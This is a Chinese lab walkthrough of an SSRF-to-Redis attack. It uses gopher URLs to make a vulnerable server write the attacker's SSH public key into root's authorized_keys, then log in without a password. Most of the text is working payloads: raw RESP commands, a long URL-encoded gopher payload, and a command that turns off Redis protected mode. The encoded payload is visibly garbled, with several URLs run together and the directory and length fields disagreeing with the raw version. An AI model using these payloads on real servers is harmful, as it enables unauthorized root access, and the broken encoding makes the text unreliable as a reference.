目录
我这里用了Web-Redis-Lab漏洞环境来演示
攻击机kali:192.168.168.128
目标机:192.168.168.134
centos
1、kali生成密钥
使用ssh-keygen -t rsa生成密钥,id_rsa是私钥,id_rsa.pub是公钥,我们要用的就是公钥
ssh-keygen -t rsa
2、redis数据库写入公钥
将上面kali中的id_rsa.pub的公钥内容取出,通过redis数据库将公钥写入到/root/.ssh下,注意的是,写入的文件名必须是authorized_keys
flushall
set 1 '公钥内容'
config set dir /root/.ssh
config set dbfilename authorized_keys
save
Redis服务器与客户端通过RESP协议通信,所以需要将上面的内容编译为RESR协议的格式:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$567
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs+T1/XT0hWU+RVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP+SEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV+wtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ+MIqJs9MBauQjJNa+jO+QqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3+T1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ+mhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ+ZQPTYFwxbwavnQxMU= root@mykali
*4
$6
config
$3
set
$3
dir
$10
/root/.ssh
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit
我这里Redis数据库端口映射到了3333端口,由于是本地访问,所以使用127.0.0.1,使用本地默认端口是6379
3、通过ssrf进行写入公钥
我们通过ssrf写入,这是后就需要用到gopher协议。
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。
在这个实验中,没有在请求头中,所以服务器会进行一次解析,需要用urlcode编码一次
构造payload:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24568%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs%2BT1/XT0hWU%2BRVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP%2BSEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV%2BwtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ%2BMIqJs9MBauQjJNa%2BjO%2BQqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3%2BT1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ%2BmhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ%2BZQPTYFwxbwavnQxMU%3D%20root%40mykali%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%246%0D%0A/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0Agopher://192.168.168.134:3333/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24568%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs%2BT1/XT0hWU%2BRVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP%2BSEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV%2BwtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ%2BMIqJs9MBauQjJNa%2BjO%2BQqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3%2BT1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ%2BmhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ%2BZQPTYFwxbwavnQxMU%3D%20root%40mykali%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%246%0D%0A/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0Agopher://192.168.168.134:3333/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24568%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs%2BT1/XT0hWU%2BRVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP%2BSEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV%2BwtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ%2BMIqJs9MBauQjJNa%2BjO%2BQqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3%2BT1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ%2BmhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ%2BZQPTYFwxbwavnQxMU%3D%20root%40mykali%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%246%0D%0A/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0Agopher://192.168.168.134:3333/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24568%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs%2BT1/XT0hWU%2BRVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP%2BSEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV%2BwtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ%2BMIqJs9MBauQjJNa%2BjO%2BQqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3%2BT1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ%2BmhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ%2BZQPTYFwxbwavnQxMU%3D%20root%40mykali%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%246%0D%0A/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
发起请求:
可以看到成功写入,公钥已成功写入.ssh中:
在kali机上ssh连接目标机:
可以看见已经可以无密钥登入服务器
ubuntu
在ubuntu中基本和centos写入是一样的,但是可能会出现下面报错:
可能是redis的保护配置,需要将protected-mode关闭,
可以构造一个下面语句的payload试试,
config set protected-mode no
也可能是因为拉取的redis数据库的版本比较高,安全配置比价好。